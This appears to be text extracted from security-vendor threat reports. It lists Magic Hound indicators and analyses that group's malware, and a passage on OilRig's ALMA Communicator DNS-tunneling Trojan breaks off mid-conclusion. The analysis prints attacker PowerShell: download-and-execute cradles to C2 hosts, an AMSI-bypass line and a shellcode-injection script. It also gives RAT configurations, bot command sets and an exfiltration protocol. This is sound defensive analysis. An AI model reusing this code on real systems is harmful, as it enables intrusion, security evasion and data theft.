16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd 92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5 86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4 c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143 a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06 d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6 79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932 2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a 8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75 abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26 9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656 e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263 ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0 eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a 1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1 29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309 MagicHound.Fetch PE C2 service.chrome-up[.]date www3.chrome-up[.]date www7.chrome-up[.]date timezone[.]live service1.chrome-up[.]date 104.238.184[.]252 www5.chrome-up[.]date servicesystem.serveirc[.]com MagicHound.Fetch DOC SHA256 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2 e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087 388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d 33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e 5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864 68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964 e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087 f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143 af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9 6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031 MagicHound.Fetch DOC C2 45.76.128[.]165 9/19 139.59.46[.]154 104.218.120[.]128 89.107.62[.]39 69.87.223[.]26 analytics-google[.]org 89.107.60[.]11 www3.chrome-up[.]date www.microsoftsubsystem.com-adm[.]in www1.chrome-up[.]date MagicHound.Fetch XLS SHA256 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b 97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade MagicHound.Fetch XLS C2 45.76.128[.]165 139.59.46[.]154 Pupy Loaders SHA256 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 Pupy Loaders C2 139.59.46[.]154 www1.chrome-up[.]date MagicHound.Retriever SHA256 1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce 7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823 b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6 3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1 MagicHound.Retriever C2 service.chrome-up[.]date msservice[.]site microsoftexplorerservices[.]cloud MagicHound.Leash SHA256 133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5 ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4 d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf MagicHound.Leash C2 45.56.123[.]129 syn.timezone[.]live 10/19 MPKBot SHA256 d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19 MPKBot C2 45.58.37[.]142 Appendix MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or possibly Meterpreter. We call this tool MagicHound.Rollover. In one example, the Word document contained a button with the label First click Enable Content above the page, then click here to fill out the form This string attempts to trick the user into enabling macros to execute the malicious code within the macro. When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background. The macro contains malicious code that attempts to download content from a remote server. The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques. The first technique is rather straightforward, using PowerShell function to execute a string obtained from a remote server. The macro carries out this first technique by running the following command: powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')" The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code. The Unicorn source code contains a comment for this specific PowerShell command, which is described as a one line shellcode injection with native x86 shellcode The shellcode begins with a stub that is responsible for decrypting additional shellcode. To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode. It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on. After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system. The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL hxxp://45.76.128[.]165:4443/0w0O6 . We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode. Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code to execute. On January 1, 2017, we observed this URL responding to the above HTTP request with the following data: powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQ As you can see, the C2 server responds with a PowerShell command that will run on the system. The PowerShell command decodes to the following: 11/19 $command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhA if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') $exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command IEX $exec else $exec = [System.Convert]::FromBase64String($command) $exec = [Text.Encoding]::Unicode.GetString($exec) IEX $exec The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following: [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; try{ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai'); This decoded PowerShell script attempts to download and execute a file using HTTP from the URL hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai . The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code: $PEBytesTotal = [System.Convert]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11 The PowerShell script loads the DLL payload directly into memory without saving it to the disk. The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the obfs3 transport: LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3'] It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents: https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py MAGICHOUND.FETCH The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload. To set up persistence, the loader creates a folder named c:\temp , sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer. It then writes a file named rr.exe (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments. During our analysis, we observed one loader running rr.exe with the following arguments: open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe" iexplore The rr.exe payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts. In the example above, the spp.exe executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key agkrhfpdbvhdhrkj ; however, the loader s main goal involved running the following command: /c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGM The base64 encoded command decodes to the following: $0o8e = '$f9B = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name "Win32" -namespace Win32Functions passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = "-enc ";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $b32 $DKn $e"}else{;iex "& powershell $DKn $e";} The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it. We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload. The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload. PUPY LOADER Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. We have gathered three samples of the default loader associated with this group and extracted the following 12/19 configurations: SHA256 of Sample Configuration 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS=[ host www1.chrome-up[.]date:4443 obfs3 db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS=[ host www1.chrome-up[.]date:4443 obfs3 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS=[ host 139.59.46[.]154:3543 obfs3 These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers. Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project. MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt. The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper will then save the executable to the user s %TEMP% folder and execute the file, specifically to one of the following filenames: %TEMP%\spp.exe %TEMP%\sloo.exe %TEMP%\spoo.exe %TEMP%\vschos.exe We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload. For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to %TEMP%\flash_update.exe that was a legitimate Flash Player installer. We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player. MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound. While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named c:\temp that the Magic Hound loader creates to store its persistence executable, as previously discussed. The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two. The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh; Android.The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.]date:8080 /WebService.asmx It then calls a function called SetLog2 , which sets variables for the system s IP address, MAC address and hostname. A password variable is available but unused in this sample. The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address via an HTTP request using to http://checkip.dyndns.org/ and uses a regular expression to locate an IP address from the HTTP response. Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as: As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request. All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests. Instead, we will refer to the specific SOAP action (see SOAPAction field in previous example, specifically SetLog2 ) that the Trojan requests from the C2 server and the response from the C2 server. After sending the C2 the system information, the malware then issues a second request for GetHasAnything , which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install. If the C2 server provides any response to the GetHasAnything request, it then calls the GetIdAbOne SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2. After receiving this variable, the Trojan calls the GetNameAbById to obtain a base64 string that will be the filename written in a newly created c:\temp (decoded from YzpcdGVtcFw= ) folder. The Trojan will then call GetAbById , which the C2 will provide a base64 string for the contents for the file to write to c:\temp. After obtaining the unique ID from the C2 server, the Trojan calls the SetAbStatById method to notify the C2 server of its status of to notify the server it had successfully received the filename and file data. 13/19 With the file written to the system, the Trojan calls the GetishideAbById SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to GetisrunasAbById to determine if the Trojan should use runas to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click. Unfortunately, we were unable to obtain a secondary payload from an active C2 server. MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications. The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands: USER AS_a # # :des NICK Conroy JOIN :#kalk Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. The following commands are available: Command SubCommand Description Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : 8 LED= 20160124 KILL Trojan disconnects from the IRC server and terminates itself RESET Trojan disconnects from the IRC server and runs the executable again Obtains the Windows version and responds to the C2 with the following message PRIVMSG : Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info EXEC Not supported Creates a specified directory. The Trojan will respond to the C2 with PRIVMSG : [] . The message sent to the C2 will be dir is maked. if successful or dir is not maked if unsuccessful. MKDIR Same as MD subcommand. Removes a specified directory. The Trojan will respond to the C2 with PRIVMSG : [] . The message sent to the C2 will be dir is removed. successful or dir is not removed. if unsuccessful. Deletes a specified file. The Trojan will respond to the C2 with PRIVMSG : [] . The message sent to the C2 will be file is deleted. if successful or file is not deleted. if unsuccessful. COPY Not supported. MOVE Not supported. Renames a specified file. The Trojan will respond to the C2 with PRIVMSG : [] . The message sent to the C2 will be file is renamed. if successful or file is not renamed. if unsuccessful. DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices. Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server. !DWN Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with Download Success :FilePath= or Download Fail unsuccessful. !CMD Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\win .txt and send the contents to the C2 server or The length of Cmd result file is ziro! if the command was unsuccessful. Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : Hello ,my name is , Im ready my Computer Name is: All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with or . This suggests that the adversary 14/19 IRC nickname would need to have these prefixes to control the systems infected with this Trojan. The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems. 15/19 16/19 17/19 MPKBot We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them. From a behaviorial standpoint, both the IRC and custom protocol version of MPK save tmp.vbs and tmp1.vbs to the %TEMP% folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it. Both variants need to be executed with the command line argument to avoid continually attempting to copy and execute the Trojan using the tmp.vbs and tmp1.vbs files. The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically: [HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at %temp%\Save.tmp . The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain: Gmail - Yahoo login Sign In - Outlook.com - MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format: ///////////// Mail Find /////////// If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the Save.tmp file in the following format: +++++++++++++ Window= +++++++++++++ The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used. The IRC variant creates a mutex named mpk1 and attempts to connect to an IRC server at 45.58.37[.]142:6667. The MPK bot generates a random lowercase name and uses it to log into the IRC server. It then sends the following IRC commands: NICK bxphzrjbxp 18/19 USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick . After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a !Hello message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version. Figure 7 shows the initial private messages sent from the MPK bot to the account on the C2 server. Figure 7 Initial private messages sent from MPK to the IRC C2 server The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK. The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system. Command Description !Dir Lists the contents of a specified directory !Drives Enumerates the storage drives attached to the system and their respective type. !DeleteFile Deletes a specified file !NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server. Writes it to nick435.tmp for subsequent logins. !ProcessList List running processes, including their PID, parent PID, executable name and priority !SendFileToServer Uploads a specified file to the C2 server !CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server. !Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version. !ProcessKill Terminates a process based on PID !RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server. !GetFileOfServer Writes a file from the C2 server to a specified file !ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2. !ExeCuteFile Executes a specified file using ShellExecuteA !DeleteFileFolder Deletes a file or a folder !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system Table 2 Commands available within MPK IRC Bot 19/19 OilRig Deploys ALMA Communicator DNS Tunneling Trojan researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/ By Robert Falcone November 8, 2017 Unit 42 has been closely tracking the OilRig threat group since May 2016. One technique ve been tracking with this threat group is their use of the Clayslide delivery document as attachments to spear-phishing emails in attacks since May 2016. In our April 2017 posting OilRig Actors Provide a Glimpse into Development and Testing Efforts we showed how we observed the OilRig threat group developing and refining these Clayside delivery documents. Recently, we observed a new version of the Clayslide delivery document used to install a new custom Trojan whose developer calls it ALMA Communicator . The delivery document also saved the post-exploitation credential harvesting tool known as Mimikatz, which we believe the threat actors will use to gather account credentials from the compromised system. While we do not have detailed telemetry, we have reason to believe this attack targeted an individual at a public utilities company in the Middle East. New Clayslide Delivery Document The most recent build of Clayslide operates in a similar way to its predecessors, as it initially displays an Incompatible worksheet that states that the Excel file was created with a newer version of Excel and the user needs to Enable Content to view the document. If the user clicks Enable Content , a malicious macro will run that begins by displaying a hidden worksheet that contains decoy contents, as seen in the following: While the decoy is displayed to the victim, the malicious macro accesses data from specific cells in the Incompatible worksheet that it concatenates to create an .HTA file, which it then saves to %PUBLIC%\tmp.hta and opens with the mshta.exe application. The .HTA file contains HTML that will run a VBScript that finally installs the malicious payload for this attack. The payload installation process begins with the .HTA file creating a folder named %PUBLIC%\{5468973-4973-50726F6A656374-414C4D412E-2}, to which it writes three files with the following names: SystemSyncs.exe m6.e The .HTA file contains two encoded executables that it will decode and write to m6.e and SystemSyncs.exe. The .HTA file contains a base64 encoded configuration that it decodes and saves to the cfg file, which the Trojan will use to obtain the C2 domain that it will use to communicate with the threat actor. The C2 domain saved to the cfg file in this attack is prosalar[.]com. The SystemSyncs.exe file (SHA256: 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e) is a custom Trojan created by the OilRig group called ALMA Communicator , which we will describe in detail in the next section. The m6.e file dropped by the .HTA file is a variant of Mimikatz (SHA256: 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c) tool. We have seen the OilRig threat group using Mimikatz for credential gathering during its post-exploitation activities, however, this is the first time we have observed the threat group delivering Mimikatz during the delivery phase of the attack. We believe the Clayslide delivery document dropped this additional tool based on the limitations of ALMA Communicator s C2 channel, which we will describe later in this report. The VBScript in the .HTA file executes the SystemSyncs.exe payload and achieves persistent execution by creating a scheduled task. Unlike past Clayslide documents that create a scheduled task via the schtask application via the command prompt, the VBScript programmatically creates the task using the Schedule.Service object. The scheduled task created, as seen in Figure 1, shows that the payload will be executed every two minutes with the command line argument Lock Figure 1 Scheduled task created by Clayslide to execute the ALMA Communicator payload ALMA Communicator Trojan The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document. After reading in its configuration, the Trojan creates two folders for staging, named Download and Upload. ALMA uses the Download folder to save batch files provided by the C2 server, which it will eventually run. ALMA uses the Upload folder to store the output of the executed batch files, which it will eventually exfiltrate to the C2 server. ALMA Communicator uses DNS tunneling as its C2 communication channel using a specific protocol that uses specially crafted subdomains to transmit data to the C2 server and specific IPv4 addresses to transmit data from the C2 to the Trojan. The transmission of information from the Trojan to the C2 server occurs through DNS requests to resolve specially crafted subdomains on the configured C2 domain. To build these specially crafted subdomains, the Trojan generates a random four-digit number and concatenates a hardcoded string of ID. The Trojan then appends a unique identifier for the compromised system to this string. To generate this unique identifier, the Trojan starts by obtaining the system s ProductId from the registry, specifically at SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. If it cannot find this registry key, it will use the hardcoded value 00000-00000-00000-00000. It then obtains the username and concatenates an underscore followed by the product id string. The Trojan takes the MD5 hash of this string and uses it as the basis for the unique identifier for the compromised system. It then appends the hardcoded -0-2D-2D string to finish the construction of the subdomain used to beacon the C2 server. Figure 2 shows the structure of the domains that ALMA communicator will send to the C2 server to receive data. Figure 2 Domain used by ALMA communicator to receive data from the C2 server To provide a better explanation of the unique identifier generated by ALMA communication, s consider a test system with the username and product id create the string Administrator_00000-00000-00000-00000, which results in an MD5 hash of 35ead98470edf86a1c5a1c5fb2f14e02. The Trojan will generate the unique identifier string 3d7f11b4 by taking the first, fifth, ninth, thirteenth, seventeenth, twenty first, twenty fifth and twenty ninth characters from the MD5 hash and concatenating them together, as seen in Figure 3. Figure 3 How ALMA Communicator generates the unique identifier for the compromised system The C2 server will reply to the beacon DNS requests with IPv4 addresses within A records. The Trojan will parse these requests for two specific IP addresses, one to mark the beginning and one to mark the end of the transmission of data from the C2 to the Trojan. The two specific IP addresses to mark the start and end of the data are: Start 36.37.94.33 ($%^!) End 33.33.94.94 (!!^^) The C2 will respond to DNS queries between these two responses with IP addresses that the Trojan will treat as binary data. During our analysis, we observed the following data being sent from the C2 server to our analysis system, with $%^! and !!^^ representing the start and stop markers for the data: $%^!_DnsInit.bat@echo off & chcp 65001\r\necho %userdomain%\\%username% 2>&1 & echo %computername% 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "Google_{50726F6A656374414C4D41-48747470}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & schtasks /query /FO List /TN "Micro_{50726F6A656374414C4D41-446E73-2}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________ !!^^ Based on the data sent back from the C2, the Trojan will create a file named _DnsInit.bat with commands seen in the data. The Trojan stores the batch file in the Download folder. The Trojan will then enumerate this folder and create a cmd.exe process with the path to the batch script as a command line argument. The Trojan will add to the command line argument the string followed by the batch script s filename with the .txt.Prc file extension to write the output of the command to a text file in the Upload folder. Before running the process, the following string to the end command line argument to delete the batch script upon execution: \r\nDEL /f /q \ %~0\ |exit The Trojan will then attempt to send the newly created file in the Upload folder that contains the result of running the command. The DNS requests used to send this data has four fields that are split up using a hyphen, which are: 1. Random four-digit number followed by static string and the 10 character unique system identifier 2. Number of DNS queries needed to send entire data stream 3. Maximum of 20 characters for 10 hexadecimal bytes of data to transmit 4. String of characters for hexadecimal bytes for filename transmitted To better visualize the structure of a DNS query used to send data, the following is shows the domain name that the Trojan will build to send data to its C2 server: [random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.]com For example, figure 4 is the first DNS query issued after our testing system ran the _DnsInit.bat script provided by the C2 server mentioned above. As you can see, each DNS request can only send 10 bytes of data at a time, requiring 29 outbound requests to transmit the 289 bytes of output that was generated by the batch script. Figure 4 Subdomain that ALMA Communicator attempts to resolve to transmit data to its C2 server As you can surmise, ALMA Communicator s C2 channel is rather limited when it comes to data transfer. If an actor wished to use ALMA communicator to exfiltrate large files, it would result in a very large number of outbound DNS requests, as each outbound request can only send 10 bytes at a time. Even more limiting is the data transmission from the C2 server to the Trojan, which can only send 4 bytes per DNS request, as each IPv4 address is treated as data. We believe this is the reason why the Clayslide delivery document saved the Mimikatz tool to the system instead of having the actor download the tool to the system after a successful compromise. Based on the 4-byte per DNS request limitation, the ALMA Communicator would generate 189,568 DNS requests (not including the start and stop requests) to transmit the 758,272 byte Mimikatz tool to the system, which may be detected by security systems or personnel. Conclusion The OilRig threat group continues to use their Clayslide delivery document in their attack campaigns. The current variant of Clayslide also 